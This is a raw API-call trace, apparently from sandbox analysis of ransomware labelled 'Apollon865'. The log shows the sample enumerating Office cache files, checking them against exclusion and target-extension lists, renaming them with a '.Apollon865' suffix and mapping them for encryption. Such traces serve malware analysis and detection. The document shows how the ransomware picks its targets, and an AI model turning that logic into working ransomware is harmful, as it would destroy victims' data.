	[0079.067] lstrlenW (lpString="odb") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0079.067] lstrlenW (lpString="oqy") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0079.067] lstrlenW (lpString="ora") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0079.067] lstrlenW (lpString="orx") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0079.067] lstrlenW (lpString="owc") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0079.067] lstrlenW (lpString="p96") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0079.067] lstrlenW (lpString="p97") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0079.067] lstrlenW (lpString="pan") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0079.067] lstrlenW (lpString="pdb") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0079.067] lstrlenW (lpString="pdm") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0079.068] lstrlenW (lpString="pnz") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0079.068] lstrlenW (lpString="qry") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0079.068] lstrlenW (lpString="qvd") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0079.068] lstrlenW (lpString="rbf") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0079.068] lstrlenW (lpString="rctd") returned 4
	[0079.068] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0079.068] lstrlenW (lpString="rod") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0079.068] lstrlenW (lpString="rodx") returned 4
	[0079.068] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0079.068] lstrlenW (lpString="rpd") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0079.068] lstrlenW (lpString="rsd") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0079.068] lstrlenW (lpString="sas7bdat") returned 8
	[0079.068] lstrcmpiW (lpString1="rMUI.msi", lpString2="sas7bdat") returned -1
	[0079.068] lstrlenW (lpString="sbf") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0079.068] lstrlenW (lpString="scx") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0079.068] lstrlenW (lpString="sdb") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0079.068] lstrlenW (lpString="sdc") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0079.068] lstrlenW (lpString="sdf") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0079.068] lstrlenW (lpString="sis") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0079.068] lstrlenW (lpString="spq") returned 3
	[0079.068] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0079.068] lstrlenW (lpString="te") returned 2
	[0079.068] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0079.068] lstrlenW (lpString="teacher") returned 7
	[0079.069] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1
	[0079.069] lstrlenW (lpString="tmd") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0079.069] lstrlenW (lpString="tps") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0079.069] lstrlenW (lpString="trc") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0079.069] lstrlenW (lpString="trc") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0079.069] lstrlenW (lpString="trm") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0079.069] lstrlenW (lpString="udb") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0079.069] lstrlenW (lpString="udl") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0079.069] lstrlenW (lpString="usr") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0079.069] lstrlenW (lpString="v12") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0079.069] lstrlenW (lpString="vis") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0079.069] lstrlenW (lpString="vpd") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0079.069] lstrlenW (lpString="vvv") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0079.069] lstrlenW (lpString="wdb") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0079.069] lstrlenW (lpString="wmdb") returned 4
	[0079.069] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0079.069] lstrlenW (lpString="wrk") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0079.069] lstrlenW (lpString="xdb") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0079.069] lstrlenW (lpString="xld") returned 3
	[0079.069] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0079.069] lstrlenW (lpString="xmlff") returned 5
	[0079.069] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1
	[0079.070] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="Apollon865.txt.exe") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="..") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="windows") returned -1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="bootmgr") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="temp") returned -1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="pagefile.sys") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="boot") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="ids.txt") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="ntuser.dat") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="perflogs") returned 1
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="MSBuild") returned 1
	[0079.070] lstrlenW (lpString="PublisherMUI.xml") returned 16
	[0079.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0079.070] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PublisherMUI.xml" | out: lpString1="PublisherMUI.xml") returned="PublisherMUI.xml"
	[0079.070] lstrlenW (lpString="PublisherMUI.xml") returned 16
	[0079.070] lstrlenW (lpString="Apollon865") returned 10
	[0079.070] lstrcmpiW (lpString1="herMUI.xml", lpString2="Apollon865") returned 1
	[0079.070] lstrlenW (lpString=".dll") returned 4
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".dll") returned 1
	[0079.070] lstrlenW (lpString=".lnk") returned 4
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".lnk") returned 1
	[0079.070] lstrlenW (lpString=".ini") returned 4
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".ini") returned 1
	[0079.070] lstrlenW (lpString=".sys") returned 4
	[0079.070] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".sys") returned 1
	[0079.070] lstrlenW (lpString="PublisherMUI.xml") returned 16
	[0079.070] lstrlenW (lpString="bak") returned 3
	[0079.070] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0079.070] lstrlenW (lpString="ba_") returned 3
	[0079.070] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0079.070] lstrlenW (lpString="dbb") returned 3
	[0079.070] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0079.070] lstrlenW (lpString="vmdk") returned 4
	[0079.070] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0079.071] lstrlenW (lpString="rar") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0079.071] lstrlenW (lpString="zip") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0079.071] lstrlenW (lpString="tgz") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0079.071] lstrlenW (lpString="vbox") returned 4
	[0079.071] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0079.071] lstrlenW (lpString="vdi") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0079.071] lstrlenW (lpString="vhd") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0079.071] lstrlenW (lpString="vhdx") returned 4
	[0079.071] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0079.071] lstrlenW (lpString="avhd") returned 4
	[0079.071] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0079.071] lstrlenW (lpString="db") returned 2
	[0079.071] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0079.071] lstrlenW (lpString="db2") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0079.071] lstrlenW (lpString="db3") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0079.071] lstrlenW (lpString="dbf") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0079.071] lstrlenW (lpString="mdf") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0079.071] lstrlenW (lpString="mdb") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0079.071] lstrlenW (lpString="sql") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0079.071] lstrlenW (lpString="sqlite") returned 6
	[0079.071] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1
	[0079.071] lstrlenW (lpString="sqlite3") returned 7
	[0079.071] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1
	[0079.071] lstrlenW (lpString="sqlitedb") returned 8
	[0079.071] lstrcmpiW (lpString1="rMUI.xml", lpString2="sqlitedb") returned -1
	[0079.071] lstrlenW (lpString="xml") returned 3
	[0079.071] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0079.072] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.Apollon865") returned 90
	[0079.072] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0079.109] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1450) returned 1
	[0079.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.110] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0079.110] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.110] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.111] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0xd8
	[0079.112] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000
	[0079.119] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0079.119] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.119] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.120] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.120] CloseHandle (hObject=0xd8) returned 1
	[0079.120] CloseHandle (hObject=0xc0) returned 1
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.120] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.121] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2=".") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="..") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="windows") returned -1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="bootmgr") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="temp") returned -1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="pagefile.sys") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="boot") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="ids.txt") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="ntuser.dat") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="perflogs") returned 1
	[0079.121] lstrcmpiW (lpString1="PubLR.cab", lpString2="MSBuild") returned 1
	[0079.121] lstrlenW (lpString="PubLR.cab") returned 9
	[0079.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0079.122] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PubLR.cab" | out: lpString1="PubLR.cab") returned="PubLR.cab"
	[0079.122] lstrlenW (lpString="PubLR.cab") returned 9
	[0079.122] lstrlenW (lpString="Apollon865") returned 10
	[0079.122] lstrlenW (lpString=".dll") returned 4
	[0079.122] lstrcmpiW (lpString1="PubLR.cab", lpString2=".dll") returned 1
	[0079.122] lstrlenW (lpString=".lnk") returned 4
	[0079.122] lstrcmpiW (lpString1="PubLR.cab", lpString2=".lnk") returned 1
	[0079.122] lstrlenW (lpString=".ini") returned 4
	[0079.122] lstrcmpiW (lpString1="PubLR.cab", lpString2=".ini") returned 1
	[0079.122] lstrlenW (lpString=".sys") returned 4
	[0079.122] lstrcmpiW (lpString1="PubLR.cab", lpString2=".sys") returned 1
	[0079.122] lstrlenW (lpString="PubLR.cab") returned 9
	[0079.122] lstrlenW (lpString="bak") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0079.122] lstrlenW (lpString="ba_") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0079.122] lstrlenW (lpString="dbb") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0079.122] lstrlenW (lpString="vmdk") returned 4
	[0079.122] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0079.122] lstrlenW (lpString="rar") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0079.122] lstrlenW (lpString="zip") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0079.122] lstrlenW (lpString="tgz") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0079.122] lstrlenW (lpString="vbox") returned 4
	[0079.122] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0079.122] lstrlenW (lpString="vdi") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0079.122] lstrlenW (lpString="vhd") returned 3
	[0079.122] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0079.122] lstrlenW (lpString="vhdx") returned 4
	[0079.122] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0079.122] lstrlenW (lpString="avhd") returned 4
	[0079.122] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0079.122] lstrlenW (lpString="db") returned 2
	[0079.123] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0079.123] lstrlenW (lpString="db2") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0079.123] lstrlenW (lpString="db3") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0079.123] lstrlenW (lpString="dbf") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0079.123] lstrlenW (lpString="mdf") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0079.123] lstrlenW (lpString="mdb") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0079.123] lstrlenW (lpString="sql") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0079.123] lstrlenW (lpString="sqlite") returned 6
	[0079.123] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0079.123] lstrlenW (lpString="sqlite3") returned 7
	[0079.123] lstrcmpiW (lpString1="bLR.cab", lpString2="sqlite3") returned -1
	[0079.123] lstrlenW (lpString="sqlitedb") returned 8
	[0079.123] lstrcmpiW (lpString1="ubLR.cab", lpString2="sqlitedb") returned 1
	[0079.123] lstrlenW (lpString="xml") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0079.123] lstrlenW (lpString="$er") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0079.123] lstrlenW (lpString="4dd") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0079.123] lstrlenW (lpString="4dl") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0079.123] lstrlenW (lpString="^^^") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0079.123] lstrlenW (lpString="abs") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0079.123] lstrlenW (lpString="abx") returned 3
	[0079.123] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0079.123] lstrlenW (lpString="accdb") returned 5
	[0079.123] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0079.123] lstrlenW (lpString="accdc") returned 5
	[0079.123] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0079.124] lstrlenW (lpString="accde") returned 5
	[0079.124] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0079.124] lstrlenW (lpString="accdr") returned 5
	[0079.124] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0079.124] lstrlenW (lpString="accdt") returned 5
	[0079.124] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0079.135] lstrlenW (lpString="accdw") returned 5
	[0079.135] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0079.135] lstrlenW (lpString="accft") returned 5
	[0079.135] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0079.135] lstrlenW (lpString="adb") returned 3
	[0079.135] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.135] lstrlenW (lpString="adb") returned 3
	[0079.135] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.135] lstrlenW (lpString="ade") returned 3
	[0079.135] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0079.135] lstrlenW (lpString="adf") returned 3
	[0079.135] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0079.136] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0079.136] lstrlenW (lpString="Setup.xml") returned 9
	[0079.136] lstrlenW (lpString="Apollon865") returned 10
	[0079.136] lstrlenW (lpString=".dll") returned 4
	[0079.136] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0079.136] lstrlenW (lpString=".lnk") returned 4
	[0079.136] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0079.136] lstrlenW (lpString=".ini") returned 4
	[0079.136] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0079.136] lstrlenW (lpString=".sys") returned 4
	[0079.136] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0079.136] lstrlenW (lpString="Setup.xml") returned 9
	[0079.136] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0079.136] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.137] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0079.137] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1608) returned 1
	[0079.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.138] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0079.138] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.138] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.139] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0xd8
	[0079.140] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000
	[0079.172] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0079.173] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.173] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0079.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
